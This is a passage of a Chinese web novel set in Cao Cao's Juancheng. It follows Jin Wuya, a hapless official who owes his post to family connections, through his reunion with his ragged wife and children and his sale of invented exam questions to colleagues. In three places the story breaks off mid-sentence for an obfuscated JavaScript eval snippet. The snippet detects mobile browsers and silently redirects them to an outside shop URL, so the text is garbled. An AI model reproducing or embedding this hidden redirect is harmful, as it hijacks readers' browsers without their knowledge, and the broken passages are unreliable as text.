程昱顿了很久,从大量的公务记忆中终于翻出了此事,他那族中七弟,人称程七爷,是个浪荡游子,喜欢到处游历,两年前确实带回一个人,说是他的救命恩人。 他那七弟说要报恩,想帮恩人谋一份差事,就求到他跟前,堂堂大男人也不知道被灌了什么迷魂汤,又是撒泼打滚又拿他嫂子作要挟,要他把这人安排进曹公帐下做事。 只因在曹公帐下谋事体面又安全,是知名的铁饭碗。 程昱捏着鼻子把人安排进来,谁知道族弟夸上天的才子,除了一张脸,什么也不是,仅仅读书识字而已,要说才能谋略那是真半分也没有,真真草包一个。 他程昱刚正了大半生,唯一一次走后门,竟是安排了这么个货色进来。这件事背地里虽然知道的人不多,可每每面对荀彧主公等人的眼神,他就羞愧得恨不得以头抢地! 之所以看那些拖后腿的废物们不爽,一心想把他们扫地出门,很难不说没有此人的影响。 这个人如今改名字了,叫金无涯,整个鄄城,除了他那早已外出不知道游历到哪儿去的族弟,也就他知道金无涯原先是叫金铁锤的,只是这件事过去太久了,他一时竟也没印象想不起来,如今被仆从一提醒,方才想起。 程昱是刚正强硬不假,也看金无涯不爽没错,可他不至于跟人家家眷老弱妇孺计较,听闻这几人形容狼狈,乞丐之姿,反而起了看戏的好兴致,吩咐人喊来金无涯。 金无涯刚刚进衙门,准备到自己工位上上班,后日便是考核的最后一关,这考核不但综合整个月的表现和业绩,还有文试,此次不知道会出什么样的考题,他得早做好准备。 刚铺开书卷,便来人传话:“程大人叫你过去一趟。” 金无涯一颗心都提了起来,其他工位上的同僚们纷纷笑了起来,露出看好戏的心情。他们都觉得,金无涯死定了,在这个档口上被程魔头叫去,还能有好日子? 只怕小命休矣! “唉,子归兄好生珍重,若日落前还不回,你桌子下偷藏那块饼,我便替你吃了。” “你那件棉衣不错,记得留下来。” “你们别太过分,子归兄是被扫地出门,又不是丢了性命,你们抢他东西作甚?对了子归兄,你可有美妾,为兄替你照顾。” 金无涯心被穿了一剑又一剑。他擦了擦汗,嘴角抖了抖,最终还是没能说出话来回怼这帮丧良心的玩意! 一路脚虚浮着,感觉怎么走都踏不着实地地跟人走到程大人堂前。 他扑通一声跪了下来。 这一路来,他已经想好了,他一定要不惜一切代价留下来!他不能丢了这个饭碗!否则他在这个乱世里根本活不下来!这份差事本来就是骗来的,平常也维持得够辛苦,可就算这样,他也不能把这个差事丢了! 就算拼尽老命,丢尽老脸也要跟程昱老贼拼了! 他扑通一声跪下来后,爬着过去,抱住了程昱的大腿,头蹭在他大腿上,一把鼻涕一把泪地哭泣。 “程公!想当初,我第一次见您的时候,就知道您是个胸怀伟略的大人物!因此我才恳求七爷将我举荐给您!这些年来,是我辜负了您的期望!是我没有用!辜负了您和七爷!我这条小命早该在遇见七爷的时候就丢在那深山老林里,就不该在这里丢您的脸,丢七爷的脸!我真是罪该万死啊!程公!求您杀了我吧!反正我除了这里,哪里也去不得了,哪里也没有我的容身之处了!可怜我金铁……金无涯曾经立誓要为程公您效劳,为主公效劳,为你们这些我所敬仰的人奉献出我的一份热血,一腔才情,却想不到,我金无涯没有这个本事,唯有一颗忠诚的心!可忠诚有什么用!百无一用是书生啊!如今我金无涯有何颜面苟活在这世上!程公,您杀了我吧!程公……” 在场众人不约而同地看向程昱,再看看地上抱着程昱大腿的那人,在两人身上来来回回地看。 气氛一片诡异而尴尬的静默,唯有金无涯“感天动地”的哭泣声在这满屋墨香的大厅中来回响彻,抑扬顿挫。 程昱:“……” 他铁青着脸,额角上青筋不停乱跳,椅子上的扶手险些被他捏碎,他最后悔的是没有单独召见金无涯!更后悔没有早点把金无涯撵出去,剁碎了喂狗! 那几个老登看好戏的眼神当他不知?本来他和金无涯的关系就没有人知道,除了荀彧和主公,如今可好,经金无涯这么不要脸地一哭诉。 全天下都知道了。 相信很快就传遍整个衙门办公署。 到时候主公帐下所有幕僚将士都知道了,凡是认识他程昱的都知道了。可他们却肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金无涯猛点头,他的大儿子二儿子确实都叫金大壮金二壮,这不是他起的名字,他本想给儿子起个好听的名字,奈何家中老头早早就给孙儿起了名儿,说贱名好养活,都是乡下孩子,地里头刨土的,取啥文邹邹的名字,于是他就只能含泪地接受儿子走上自己的老路。 没想到,老妻会带孩子来找他了! 在他最艰难的时候! 想想也知道老妻为啥来,如今世道这么乱,老妻那人素来坚强能干,要是乡下地方能活下去,绝不会来投奔他,这一路来得多危险,吃多少苦头啊。 金无涯跪了下去,“定是我那老妻孩儿没错了,求您放他们进城来!” 程昱沉吟了下,金无涯有点紧张,方才太冲动了,满脑子都是怕被扫地出门的事儿,将程昱得罪得透透的,若是程昱不肯放他们进来,那他只能卷铺盖出城去陪妻儿了。 到时候,他们一家就只能饿死在城外了。 “去吧,将人接到你家中好生安置。” 金无涯连忙叩谢跑了出去,程昱冷哼一声,这次看在他家眷的面子上,暂且不同他计较!等这厮回来,他定要治他! 荒谬!简直荒谬! 天底下怎么会有如此无耻之人! 5. 相认 午后,城门口仍然聚集着很多看热闹的人,许多准备出城的、进城的,都不准备走了,就跟城门口看热闹。 其实很多人不知道为啥这里围着这么多人,只是看着多人围着个圈,像是在看热闹,便也凑了上去,一来二去,打听打听,便知道了,这里来了个四个乞丐。 这年头乞丐不奇怪,奇怪的是这乞丐竟然骗说他们家男人也在鄄城里头工作,而且还住在城里的程府里面!大名鼎鼎的程府是哪儿啊!那可是曹公手底下数一数二的能人,如今鄄城的主事之一!这几人想浑水摸鱼进城也就罢了,竟然还妄图攀扯上程大人程老爷!那可不得了了!看热闹的纷纷想看这乞丐四人组如何收场,到时候待回来的士兵带来程大人的回话,定会将这四个人绳之于法!不当场驱逐,也得进大牢去! 那姓白的青年更是起哄大叫:“我爹才是程公手下办差的,我都不敢攀扯他老人家,你们区区小乞丐是怎么敢胆大包天的!我看你们说不得是哪儿来的细作!军爷,最好把他们抓起来,抓去牢里审问!” 士兵们听这姓白的青年起哄已经听烦了,这厮哇里哇叫的怪烦人的。不过他一些歪理听着也确有道理,还是谨慎些为好,若是什么乱七八糟的给放进去,出了事遭殃的是他们,更何况还牵扯到程大人。 来回话的士兵终于赶到了,拨开人群进去,喊话道:“都速速散开,程公有话,让金大人来领家眷进城!” “金大人?” “这城里还真有个金大人?” “这四个乞丐要找的人不但在城里做事,还是个当官的?” 围观的百姓议论纷纷,有些人还有点羡慕,这老妇外表这么粗鄙难堪,竟然有个当官的丈夫!说不定是被夫君抛弃,如今拖家带口寻来,接下来是不是该上演苦苦哀求祈求夫君收留的戏码? 姓白的青年很努力想了想,也没想起来父亲的同僚有个叫金铁锤的人,不过在州府工作的人太多了,有不认识的也很正常。 但若真有能耐的大人物父亲怎会不知,想来不过是什么角落疙瘩里不起眼的小人物,父亲怎会听说! 姓白的青年冷哼一声!位卑就算了,还是个渣男! 前头的士兵是骑马的,速度比金无涯快多了,等金无涯赶到的时候,又过去一炷香时间了,人群们翘首以盼,终于看见一个长相俊美,瘦弱苍白,仙风道骨的中年男子到来。 人群发出惊讶声,不自觉散开,让这位男子过去。 金藐睁开了眼睛。 这是她第一次看见父亲,但又有些不确定。想想娘的长相,再看看这位的相貌气质…… 中年男子到了老妇跟前,不错眼地瞧了瞧大儿子二儿子,又看看大儿子怀里的小闺女。 最后看着老妻。 眼睛唰的一下通红了,眼泪说来就来,弥漫成河。“纯儿!我终于再见到你了!” 他看着老妻儿女们狼狈破落的样子,悲从中来,眼泪一滴一滴地往下落,只觉得自己真是没用极了,出来这么多年也没能给家里寄回去什么,他倒是总想着混出头来,有个稳定的生活了,再将妻儿接来,可他本事低微,在乱世里自己能活着就已不易,哪有余力庇护他们。 这些年心里头也总牵挂,一边殚精竭虑混生混死,一边牵挂着家中,没有一天好过的。 越想越是心酸,可看着老妻儿女的狼狈,他们竟然这么狼狈地找来,一身破烂衣裳不说,人也都瘦脱了相,尤其小闺女还这么小,听说没满月就生了,身子素来不好。 金无涯也就不好意思诉苦了。他伸出了双手想要将老妻抱在怀里好生安慰哭泣。 万万没有想到,会是这个发展。人群设想的乞丐老妇被体面当官夫君抛弃,苦苦哀求的戏码没有出现。 倒是这位俊美官人,竟然自己先哭了,看样子也不是抛弃糟糠之妻,应是另有隐情。 人群更想不到,这位俊美官人都准备接纳他们了,还一点儿也不嫌弃地准备抱这个浑身脏兮兮臭烘烘的乞丐老妇了,没想到,这个乞丐老妇不知好歹上天了,抬起手臂,一巴掌便盖过去了,盖在了这俊美男子的脸上。 “嘶!”这是人群中替受害者发出的。 “哇!”这是捂着脸不敢置信的金无涯发出的。他泪眼汪汪地瞪着老妻,“你打我?” “我打的就是你!” “我他娘打死你!”接下来老妇一手一掌地铺天盖地地落在男人身上,捶捶到肉,掌掌盖皮,没有一招落空的,全招呼在他身上了。 “老娘打死你!老娘今儿个就打死你!你个王八蛋!你个臭不要脸的混账玩意儿!丧良心了!金铁锤你她娘还有良心吗?这么多年,你出去外头混,自个儿风光体面潇洒了,老娘替你在家奉养双亲,替你送走了老母,又替你奉养老爹,生下三个孩子,你可曾尽半分心力?” “老大就不说了,你好歹教过他几年书,老二呢?老二也不说了,你好歹抱过见过,老三,咱们最小的闺女!出生到现在四岁了,你连一次面也没见过,更没尽过半分当爹的心力,你她娘的金铁锤!老娘今天见了你就跟你没完!你给我老娘等着,看我打不死你!” 接下来,围观群众就叹为观止地看了一出好戏。 来时俊美体面的中年男子现在被一乞丐老妇追着到处打,打得鼻青脸肿,惨不忍睹,一身衣裳也扯破了,这时金大娘才发现,这厮虽然穿着是体面,但一身衣裳已经洗得发白了,料子轻易就扯破了。 她打够了,肚子里火也消了些,逐渐地也不再追着打,只是揪着他掉眼泪。 金大壮抱着妹妹站在边上,不知道是不是该阻止,他年长好些,没有弟弟妹妹那样对爹毫无印象和情感,他对爹是有一份深切的儒慕之情的,爹从小就教他启蒙读书认字,教了他许多圣人的道理,在他印象里,爹的形象是光辉耀眼的,和村里那些刨土的村叔大爷都不太一样,阿爹他注定是不属于庄稼地里的。 所以他不恨阿爹。 可是阿娘她也没错,这些年阿娘受苦了。 金二壮就不一样了,他一点也不纠结,他甚至拍手叫好,恨不得阿娘打狠些。他爹刚过来的时候,他瞧见了,心里是生了一丝儒慕仰望,他阿爹这么好看这么有气质,怎么能让人不喜欢? 但他很快就压抑下去了,要不是这货不当爹,管生不管养,他娘怎么会这么辛苦,他也不会在村子里天天被人喊没爹的野种,小病秧子更不会早产,阿娘阿兄也不会那般辛苦…… 唯独金藐比较平静,静静地瞧着阿娘打刚见面的爹。 金二壮晃了晃手:“小病秧子,你喜欢爹不?” 金藐摇摇头。“那你讨厌他?” 金藐又摇头。 “那你啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066795|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思?” “阿娘不气了。”金藐伸出短短的手晃了晃,“阿娘。”老妇便放开扯住的衣服,擦了擦眼睛走过来,将小闺女抱怀里,蹭了蹭她小脸。 “藐儿乖,找到你阿爹,有好日子过了。” “以后咱们吃他的穿他的住他的,叫他不得好死。” 金藐:“……阿娘莫哭。” 金大娘愣了下,很快笑起来。“阿娘不哭,找了债主,咱们的好日子才要来。”说完这句,兴许是前前后后消耗心力过多,前头又是撒泼打滚,这会儿又见了丈夫大喜大悲,一时消耗过多,她竟然晕了过去。 好在金大壮及时发现,扶住了阿娘,将小妹也接住了,否则摔地上可会摔出个好歹。 金无涯小心翼翼地伸出手,眼睛里甚至有一丝祈求,“让我抱着你们妹妹吧。” “小藐儿我是爹啊。”他小声温和地说着,像是怕吓着女儿。 金二壮啧了声。“你怎么不抱着阿娘?阿娘都晕过去了,你还不抱着她进城?” 金无涯声音更小了,心虚地说:“你爹我手无缚鸡之力,抱不动……” 金大壮金二壮:“……” 金藐指着金无涯:“低头。”金无涯虽然不明其意,还是乖乖低头,谁知道小闺女又说,“过来些,近一点。”等他凑近后,脖子上就多了一团,差点把他脖子压折了,好险才站稳了。 金二壮不放过任何嘲笑渣爹的机会,指着狼狈渣爹就哈哈大笑起来,“你也太虚了!小病秧子那么瘦小那么轻,你也兜不住!” 金无涯脸热了热,双手扶着脖子上的小闺女,挽尊道:“阿爹不过是一时没站稳而已,你小时候阿爹都给你骑过大马。” 少年双手抱臂,冷哼一声,再不理他。 金大壮抱着娘,金无涯驮着面无表情的小闺女,外加不知何故生闷气的少年,一家五口准备进城,士兵说道:“金大人既然带着家眷进城那便不打搅了,请金大人尽快给家眷办好身份凭证,以便日后进出。” 围观的百姓们则心满意足地离去,茶余饭后又多了一桩奇事。 走到城里,里头比外面热闹得多,商铺摊贩不少,人来人往。 “阿爹你住哪儿?” “你真的住那个叫什么程大人的府邸吗?”金大壮问道。 金无涯摇头,“那是早先刚来的时候,阿爹机缘巧合救了程大人的一位族弟,才被他带来这里,那时在程公家里住了些时日,后来经程公举荐,爹就入了曹公帐下做事,此后便另寻地方租住。” “阿爹做什么?阿爹信里只说在这谋了一份差事,没说做什么,阿娘一直以为你给人家写信记账呢。阿爷说你是给人家打铁,毕竟咱家也祖传过打铁手艺,阿娘说不可能,说你吃不得苦,哪有力气打铁,为这个阿爷气了好一阵不跟阿娘说话。” “阿爹如今是这城里公家的一员,在鄄城府衙上班,只是阿爹才华一般,混了两年也不过曹公帐下小小幕僚而已。” 金藐忽然出声道:“曹公是谁?” 这是见面至今,小闺女第一次同自己开口说话,看着她黑漆漆的小脸也掩盖不住的精巧五官,还有那双干净清澈的眼睛,金无涯喜爱极了。 他不无骄傲地说:“曹公就是兖州之主,全名曹操。” 啪的一声,金藐手中的半块饼子掉了。 6. 互飙 新进城的这一伙儿人奇怪的组合和造型,频频惹来视线。 除了脖子上驾着个小乞丐的中年男人看起来体面些,其余人都一副乞丐扮相。瞧那青年乞丐,怀里还抱着个晕过去的老乞丐,边上那小点儿的少年乞丐,倒是活泼搞怪,注意到旁人视线后,眼泪唰唰落了两行,脸颊冲出两条干净的痕迹。 “各位大爷大娘,走过路过不要错过啊,小子我命苦,来自遥远的远方,不要计较我从哪里来,跟你们说了也不知道。话说我与阿娘大兄还有我们家才三四岁的病秧子妹妹,从家中逃难来找我阿爹,岂料途中历经艰难,有好几次差点死在路上,为了到这里,我们历经九九八十一难,上天也没这么难啊!我妹妹从三岁走出家中,到了这儿已经四岁了!我可怜的妹妹啊,打从出生起就没见过阿爹。” “说啊,你倒是继续说~!” 少年乞丐停顿了下,见围过来的人渐多,他干脆停下来,双手伸出,“我这么惨……我妹妹这么惨,各位大爷大娘就不心疼……?” 大爷大娘们果断摆手说不心疼,谁心疼啊,自己都心疼不过来了,有点经验的都知道这小家伙是讨上了。 好戏是看着,谈钱免了,不过也有几个心善的丢出了随身带的吃食东西,什么面饼子瓜果甚至一把菜……少年给啥接啥,万分不嫌弃,都捧怀里。 接着说:“我阿娘到了这鄄城就晕过去了,现在我们要随阿爹去他的住处,也不知道阿爹出门在外独自一人有没有纳小妾外室,听说这种可怕得很,万一生下一子半女,我们这种原配的糟糠之妻子女不是羊入狼口?” 还待要说金大壮已经听不下去了,空了一只手出来,拽着弟弟的就要走,他有些庆幸这会儿的乞丐模样,浑身脏兮兮的看不出个人样儿,不至于刚找到爹刚进城第一天就把脸全丢在这城中老少爷们面前了。他来这一趟不是准备只找个爹就走的,用阿娘的话说,这趟出来就不准备回去了!这是以后都要在这儿混呢。 金二壮一边拖着脚步,一边大喊:“各位大爷大娘,我爹说我们住攒竹街狗儿巷,切记切记,要是过两天我们几个小的没有人出来,没有个动静,说明我们遇害了,请帮我们报官!” 金无涯:“…………” 他脑袋顶上的小娃娃面无表情点了点头,虽然有点丢人,但机智。 金无涯看看边上张牙舞爪扮可怜的二儿子,本想发火,可是一看他狼狈破烂的样子,又憋了回去。 罢了罢了,是当爹的没理,做儿子的有怨气也是应当。 他当然瞧出来这小子不是全为了即将踏入的这个家的未知安危做考虑,主要还是为了捉弄他,为了让他丢脸下不来台。 然而有其子必有其父,大儿子不好说,这小子这狗皮膏药的性子绝对跟他像了个九成九。他不怕丢脸,金无涯会怕吗? 只见他惭愧虚弱地笑了笑,又掉出两颗泪,轻轻地擦去。双手温柔地扶着脖子上的小闺女,一步一个脚印踏得虚浮,但又努力地走着,不敢让闺女摔着了。 围观群众想法顿时被扭转过来了,一开始觉得这少年乞丐挺可怜的,说得也在理,历经困难才找到阿爹,但是他们阿爹自己一个人在外头多年,也不知道有没有另纳女人,男人嘛,就那德性,能指望什么?这乞丐少年有这顾虑是对的,当下不少人就答应帮着看,万一过两天瞧不见他们出来,定帮他们报官。 是起哄还是真的不知道,反正金二壮寒碜他爹的目的是达到了。 不过他爹段位才是真高,小浪再精到底老姜道行高,怎么都越不过去。就他一声不吭,只少许几个动作下来,就瞬间扭转了趋势,把人们先入为主的想法给改了过来。 尤其是他还长着一张俊美的脸!先前被老妻揍得狼狈,头发也松散下来,乍一看没太显眼,这样一折腾,头发拂耳后了,脸都露出来,轻轻两滴眼泪一掉,宽大的衣袍裹着瘦弱的身躯,走路时不知是因为身子虚弱还是因着情绪起伏大,那踉跄的样子…… 比小乞丐直观的可怜,这位当爹感觉更余韵悠长,更有故事些,总觉得那俊美瘦弱的外表下掩藏了什么不为人知的心酸与委屈。自古当父母总是不容易,可怜天下父母心啊。 “唉,小兄弟,好生跟你爹回家吧!如今找到了你爹,他自会好好待你们的,只怕以前是有什么不得已的苦衷!” “小兄弟,你爹这么面善,定是个好人好爹,你就放心跟他回家吧!” “如今也算苦尽甘来了,你爹这么瘦,肯定没少吃苦头,你是当儿子的,要会多体谅体谅你阿爹,他瞧着比你还惨些。” “以后要好好报答你爹啊,待你爹好些,唉看着让人心酸得很。” “我想起来了,这位爷瞧着眼熟啊,我好几次瞧见他从府衙大门出来啊,那不是公家办事的地方吗?原来是在为曹公办事,必定是读过书有大才华的人,这样的爹怎么可能是坏人,小兄弟,以后你们有福了,有这么个有才华的爹,那是享不尽的福啊!” 金二壮:“………………” 金大壮低着头,嘴角不知为何抽搐了下。他不知道该说什么了,是阿爹让人无语些,还是阿弟让人头疼呢。 他忽然有一种不详的预感,对未来的生活。 金藐揪了揪当爹的头发,面无表情地瞧了眼天空。 鄄城府衙啊,兖州政治军事中心。 兖州之主,曹操。 攒竹街狗儿巷一百零八号,几乎在巷子最尾巴的地方,穿过好长好长的巷子,才到一处小院落。 金无涯掏出一串钥匙,打开院子大门,门一推就开了,里头的院子不大,约莫三十个平方大小,就是有些荒凉,除了一棵不知品种的树,两把奇形怪状的石凳子,并无其他物品。 屋檐下,放着一个大水桶,一个木盆,接好的绳子晾着两件衣裳,一块抹布。 打从门开的这一瞬间,兄弟妹三人就把这房子的环境收入目中,确认没有其他人的痕迹,晾晒的衣服也是单身汉自己的,方才放心。 金二壮虽然方才在城中有些胡闹,但关于金无涯这些年一个人在外头,有没有另纳女人,另组家庭,这个问题一直存在于几人心中,只是之前碍于阿娘,谁都不敢明说。 直到现在才真正松口气。 金大壮是真的感觉庆幸,他不想阿娘被辜负,也不想真的多出什么不是同一个娘亲的弟弟妹妹来,他一颗心很小,只能容纳得下生他的阿娘阿爹还有亲生的弟弟妹妹,再没法容纳别人。 少年刚才在外头败于段位更高超的阿爹后,气得绷着一张脸谁也不想理,这会儿明显脚步松快很多,还跑到大树下摇晃了下树的枝干。 金藐已经在下意识分析了,听那士兵说是在去找程大人汇报时碰见的金无涯,于是顺便带他来城门口领人,这样说来,这个家真实平常的样子就是他们现在看到的样子,因为他没有任何时间去做伪装。 金无涯推开屋子的门,吩咐大儿子把他阿娘抱进里间他的床上。 “二壮,你去烧水,你们洗一洗,等会儿阿娘醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066796|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了也能洗一洗。” 金藐肚子叫了声。 她摸摸小肚子,木着小脸开口:“藐饿了。” 金无涯笑了笑,把小闺女放下来,忍不住又摸摸她的脑袋,摸得一手黑油,自己愣了愣,心又发酸。 “阿爹去给你们买些吃食。” 金无涯是不会做饭的,他有好几回尝试自己做饭不是差点把自己烧了就是把灶房点了,所以都是在外头吃。 说完他就跑出去买东西。 金大壮把阿娘抱进阿爹的房间。他摸了摸阿爹的被子,也没多厚,听说这里的天气冷着呢,比老家还凉人。 再瞧瞧屋里的摆设物品,也很简陋,恐怕阿爹虽然看着体面,其实日子也不算过得多好。 金二壮也随着把屋子里转了一遍,这房子不大,不大的小堂屋,外加两间房,一间房做了寝室,另一间是书房,灶房在外边,设在院子东边。 这下可以确认,这么小的房子,这么少的东西,除了阿爹,这房子没别人住了。 这是个好消息。 不过问题也随之而来,晚上他们睡哪里?阿爹和阿娘睡,那他们三个孩子呢? 金藐举着小手,“阿娘是我的。” “凭什么?!我还说阿娘我的呢。” 金藐上下瞅眼金二壮,“你老了,你都十三岁了,儿大避娘。” 金二壮发誓他绝对在小病秧子黑漆漆平静的小脸上看到了一抹贱贱的幸福和满足。 “小病秧子,这一路上有阿娘阿兄护着,又急着赶路,我不好和你计较,现在看我怎么收拾你!” “大兄!” “金二壮你赶紧给我烧水去!” 一番折腾后,金二壮含泪烧的水金藐第一个洗澡,往常都是阿娘帮她洗,现在兄长代劳,反正金藐是不会羞耻的,她才几岁啊,最小时候,阿娘整天忙地里和家里的活儿,她就是被阿兄一把屎一把尿带大的,如今早已习惯,没什么情绪了。 金大壮帮妹妹洗完澡,没有干净衣裳穿,只得把爹的一件衣服拿来叠了好几层裹在妹妹身上。 做好这些,自己也就着妹妹洗过的热水清洗一遍。 金二壮气呼呼地烧第二锅,这第二锅才轮到他洗。 金大壮此时在帮阿娘擦脸手脚和头发,细微的动静让她醒了过来。 金大娘睁开眼睛就看见裹着布,洗得干干净净,小脸蛋都要发光了的闺女坐在桌子上,这房间不知道谁的,她警惕地问:“咱娘几个在哪儿?” “阿娘好像做了个梦,梦见找着你们爹了,我还把他打了顿……” “阿娘没做梦,我们是找着爹了,这是爹的住处,你躺着的是爹的床。” 金大娘一蹦三尺高,直接从床上窜起来。 “真的?” “这混蛋……真找着了。” 眼见阿娘要掉泪,金大壮赶紧说:“阿爹出去买东西给我们吃了,阿娘起来梳洗下,这么多年不见阿爹,阿娘不想干干净净漂漂亮亮见他?” 金大娘这才反应过来。先前见那厮,竟是以一副乞丐尊荣见的,虽说她是不太爱面子,平常也遭遇的白眼够多了,不太在意形象这回事。可毕竟是多年不见,毕竟是……孩儿们的爹。 她立即跑出去洗澡。 金二壮刚脱了衣服要入水,就被拖出去了。 阿娘霸占了他辛辛苦苦烧的第二锅水。 金二壮:“……”圣人说得对,行道难,难行道,生活不易,做人艰难,何生哉。 7.莫急 金家这边正热闹的时候,府衙这边也不见清净。 程昱批完最后一份公文,喝了口茶,稍微舒展下身体,一瞅时间,距离金无涯那厮去接妻儿已经过去好长时间,便问下属道:“金无涯的家眷可接进城了?” “回大人早接回他住所去了。” 想到别人传话的那些,这下属忍不住拱了拱肩膀,拼命忍住到嘴边的笑意。 “你偷乐啥?” 下属抿了抿嘴,“回大人,听说金无涯接家眷途中发生了不少有趣的事情。” 程昱想起金无涯那德性,往常怎么没发觉这人这么不要脸,这么讨厌,这么无耻呢。他便只管把他往坏处想了。 “他不要他那糟糠之妻和孩子了?虽说妻子孩子听着是不太见得人,但作为一个男儿大丈夫,怎么能这么不负责任!” “大人,那倒没有,听说金无涯见了妻儿那般狼狈可怜还哭了呢,反倒是在城门就被他夫人打了一顿。进城后听说他那二儿子……” 这下属便把从别人那听来的学了一遍,自己边说边忍不住笑了起来。 “金大人有意思,他儿女也挺有意思,以后怕是要热闹了。” 这一边金无涯出门了才发现没带铜板也没带金银布器,用啥给孩子们买吃的?他回想了下,家中似乎没甚多少财物,再回去翻弄,被孩儿们瞧见了,多不好意思。 于是干脆奔着府衙大门,准备找好同僚们借点儿。 这会儿都在上班呢,没人外出,因此也都不知道金无涯半个下午功夫,干了两件大事,一是把程大爷得罪透了,二是接了家眷回来,从此从一孤零零的可怜又富裕的单身汉变成了拖家带口可怜又快乐的老男人。 这货大体往后人生也要发生天翻地覆的变化,往哪儿发展不知道,只见他一脚踏进来,厅里工作的老爷们都给吓了一跳。 “没死?” “没被踹出门?” “程公没把你吃了?” 金无涯讨好地笑了笑,露出可怜但坚强的表情。他伸出双手拱了拱:“诸位贤兄,金某有事求你们。” “金无涯,你先别忙说求,你先说程公喊你去干啥?” “求也别说,定没好事儿!别应他!” 金无涯都不用多瞅几眼这帮货,就知道若光说借钱,这些个没一个会拔毛,他叹了声:“算是大难不死,程公见我忠心耿耿,两年来也是不易,因此把我叫去好好提点了一番,你们也知道后天就是考核了。” “子归兄你不必吹牛了,程公恨不得第一个把你扫地出门,怎么可能会把你叫去提点,在场任何一个有可能,就你不可能,你别想蒙我们!” 金无涯信誓旦旦地说:“其实我和程公有个不为人知的关系,诸位我当年来兖州可是先到程府拜的码头,你们可知我和程公的关系?若不是程公凭我的才学我怎会进得了这里?这两年就算我毫无建树,不曾对主公有过任何贡献,也没被扫地出门,你们又知何故?” 金无涯一番话让在场众人皆是惊异沉默,他们不敢相信主公跟前的大红人,素来刚正不阿铁面无私的程昱会跟这厮有任何私下的关系。 但金无涯的表情半点不似作伪,何况如若不是真的,他怎敢当众说这样的话,这些话不过明天定会传进程公的耳朵里,他敢撒谎不?绝对不敢! 再顺着金无涯的话想,想想他这两年来的表现,说一声废物也不为过了,本就是第一号吃白饭的,能挨到现在确实是不可思议。虽说好像是每回很惊险,可每次这厮都苟下来了,好像每回都有人帮他说话,有人暗地里保他。 这样的能耐,说不好就是程公暗地里扶他。 总之如果真的像这厮说的,他在上头有人,这人是程公,那似乎一切就说得通了。 所以,假设这厮说的是真的,程公到底给他透露了什么消息,难不成是后日考核的题目,还是说有什么可以过关的秘诀,抑或是这回要卷铺盖的倒霉蛋是哪个? 金无涯看着这些好同僚们的脸色眼神就知道,拿捏成功。如果是以前,他肯定不敢这么说的,可是经过午时他在程公那边胡闹的一通,这些也早瞒不住了,多说两句又何妨,哪怕说的这些可能引起更多的误会,但他也没说谎不是?只不过说了一部分,没说完全,只不过选择性地说,这就是说话的艺术。 若是传出去了或有人跑到程公面前求证他也不怕,总归已经得罪了,再多上那么一丝丝有何不可,索性破罐子破摔吧。 据他了解,程昱虽然刚强,但只要不是原则性上的问题,他是不会把他一把捏死的。留着一条命,能苟就有机会。 被金无涯这么一忽悠,好些个尤其是吊车尾的那几个,都忍不住跑来跟他勾肩搭背。 金无涯笑笑说:“不急不急,我们到一旁说话,莫让人听到就行。要不是某实在急需用钱,又怎么会把这么机密要命的东西透露出去,先说好,你们都不许说给旁人听。” “那是自然,我们花钱买来的怎会……” “咦是买啊,不是借,果然各位爷都是好人,那以后不用还了是吧。” “……金无涯!算你狠!”那几个咬牙切齿地说,“你要多少!” “好说好说,你们身上带了多少,凑一凑吧,不够就打借条,明儿个再给我。” “……” 金无涯拿了东西,脚步轻快地离开,考题当然是胡诌的,往常考核写文章多些,他就随口胡诌一个主题。 剩下几个买了所谓程公提点考题的货咬牙切齿地把那厮上下左右狠骂了一通。虽然买到了考题,但怎么想都觉得亏啊! “这货要是敢骗我们,看我整不整死他!” 等到了傍晚时下班,他们一出去便听说程公和金无涯那不可不说的神秘关系,听说金无涯还抱着程公大腿大哭特哭呢,他旧日还有个小名叫金铁锤!这名儿只程公知道,别人都不知道!这还不足以说明其之亲密吗?而且这些八卦还是从大厅那边传来的,那可是那些大佬们办公的地方,定是错不了! “看来是真的了,那考题也错不了!” “这回得好好感谢这老小子。” “话说……这厮真是深藏不露啊,和程公有这关系,平常还总装可怜,怪低调的。” 程昱听说这事儿后,已经在府上用晚饭了。听完差点一口血喷出来,半张桌子差点被他劈坏了,只恨当年从文未从武,没能练出来铁砂掌。 “好好好,罪加一等是吧,死猪不怕开水烫是吧。” 金无涯喜滋滋地拎回了一大堆东西,两只手都占满了,有吃的喝的还有用的,他一个人拎不过来,还有杂货铺的小二帮着用板车给他推回来。 “怎么样,阿爹想得够周到吧,被子衣服吃的用的,齐活儿。” 金无涯东西放下,叉着腰在儿女们面前炫耀。 金大壮觉得要重新评估爹爹了,这么多东西肯定要花很多钱,阿爹哪来这么多财物?还是说这些年自己不舍得吃穿,攒下不少? “阿爹,你辛苦了。”金大壮仰慕感激道。 